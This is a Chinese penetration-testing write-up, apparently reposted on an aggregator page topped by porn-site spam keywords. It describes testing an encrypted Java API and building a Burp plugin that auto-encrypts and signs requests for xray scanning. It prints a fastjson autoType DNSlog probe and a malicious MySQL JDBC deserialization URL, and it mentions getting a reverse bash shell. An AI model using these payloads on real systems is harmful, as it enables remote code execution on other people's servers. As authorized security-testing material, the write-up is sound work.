日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

【网络安全】记一次接口加密测试

發布時間:2025/3/21 编程问答 23 豆豆
生活随笔 收集整理的這篇文章主要介紹了 【网络安全】记一次接口加密测试 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

前言

之前接到一個接口測試項目,就提供了一個demo源碼和接口設計文檔,文檔里一共有15個接口。

本來以為接口測試,只要把參數拼接上去測測就ok了(數據是json格式),但看到設計文檔里說數據又得做簽名又得做加密,這樣測試就變得繁瑣了,掃描器也掃不了。
沒加密發送,返回會顯示解密失敗。
?

其實是有幾種解決方案的,寫一個代理服務器,經過的時候做數據加密處理啥的,另一個就是寫個burp插件,做請求前的數據自動加密,這個其實用過chunked編碼插件的就很容易理解。
在這里我打算選擇后者,其實burp本身就是一個代理服務器,所以代理部分就不需要我們操心了,我們只需要解決數據處理部分。

【點擊查看網絡安全學攻略·資料】

fastjson利用

在干之前還是得先看看demo源碼有啥,因為還不清楚具體的簽名和加密的細節。
目標系統是基于java開發的,demo當然也是java了,項目是用mvn管理的,IDEA自帶mvn,就重新編譯打包一下,運行jar包運行的是一個spingboot應用,但demo里并沒有提供接口,所以其實沒啥用。


所以就翻翻其他文件,首先要看的就是pom.xml看下有哪些依賴包,提交的數據都是json的,其實也猜到一些,這里可以看到fastjson1.2.58,一個存在漏洞的版本,而目標如果一樣的話,那就可以先獲取高危一枚。

雖然還沒搞定加解密,先提交poc 嘗試
{"@type":“java.net.Inet4Address”,“val”:“123.3l6h3t.dnslog.cn”}

目標成功解析

然后上mysql connector payload。
github有一個項目也一鍵搭建一個faker mysql
https://github.com/fnmsd/MySQL_Fake_Server
讓目標發送如下,會返回一個執行的序列化對象,從而讓目標反序列化執行,構造的參數放在user字段。
mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
效果如下,解析客戶端發送的user字段,這里調用cc10執行bash反彈。

burp插件設計

回頭再看看其他源碼,有個XXXCashTest.java,是用于客戶端提交數據測試的,隨便找到一個方法,commonApplyDto是接口參數的類,通過fastjson序列化成字符串,將字符串使用AES加密,作為data的參數值,使用RSA私鑰簽名作為sign的參數值,然后再提交。他這里是loadPemKey讀取本地私鑰文件。

知道他怎么處理的插件就好些了,關于插件編寫和調試流程我之前有寫過一篇文章簡單介紹了下,也可以參考先知上的一篇文章https://xz.aliyun.com/t/7065
chunked編碼插件可實現手動編碼和自動編碼功能,就以他為模板改,先從github下載源碼
https://github.com/c0ny1/chunked-coding-converter
根據原始菜單功能,找到encoding的動作事件

里面會調用Transfer.encoding對請求數據處理

這和burp代理事件調用的是同個方法,這樣就可以一次性將手動和自動加密都搞定了。

把demo的相關類放到插件項目里,然后調整如下,為了方便插件使用,我新增一個getPemKey()方法,將私鑰寫死,方便使用,然后生成新的body,需要注意的是參數值得手動做URL編碼。

最后有個頭部的iter迭代搜索,如果匹配到content-type,那么就統一修改成x-www-form,
這個是為啥呢,是這樣,因為要測試的接口較多,而且參數也比較多,我想使用xray來掃描,那么就得將原始數據包先經過xray,xray做解析,然后再發給burp做加密,最終發送。
流程圖大致如下

但有個問題,因為設計文檔里說明提交使用application/x-www-form-urlencoded,所以在burpsuite1構造json數據提交給xray的時候,xray如果識別到是application/x-www-form-urlencoded,他不會當做json數據處理,只會當成普通表單數據,而json數據里沒有等號,所以會把整個json當成key做URL編碼,然后將payload作為value填充,大概如下,這種server肯定沒法正常處理,正常來說應該對json里的參數值做fuzz的。 (這里Content-Type忽略,測試的時候手動改過)

而只有當Content-Type: application/json時,才會正常解析,但這樣提交到server就不能做正常處理,server端只認application/x-www-form-urlencoded,所以才在插件里做了這么一個轉換。最終如下

至此burp插件寫完了,編譯打包,然后在burpsuite2(其實是找了一臺單獨的server運行)加載

自動編碼配置,右鍵菜單,勾選proxy即可。

xray構造的數據包

自動加密后的

到此接口測試準備就緒,后續就是常規的web滲透階段,愉快的在burpsuite1里構造測試數據包,并聯動xray進行自動化測試。

總結

  • fastjson的利用,poc通過dnslog來快速驗證,fake mysql server的使用。
  • 接口加密自動化burp插件的編寫。
  • burp1-xray-burp2聯動來實現手動+自動化測試。
  • Content-type字段的問題,xray解析json數據需要為application/json,而server需要為application/x-www-form-urlencoded
  • 最后 ·關注私信我獲取網絡安全學習資料·攻略

    總結

    以上是生活随笔為你收集整理的【网络安全】记一次接口加密测试的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。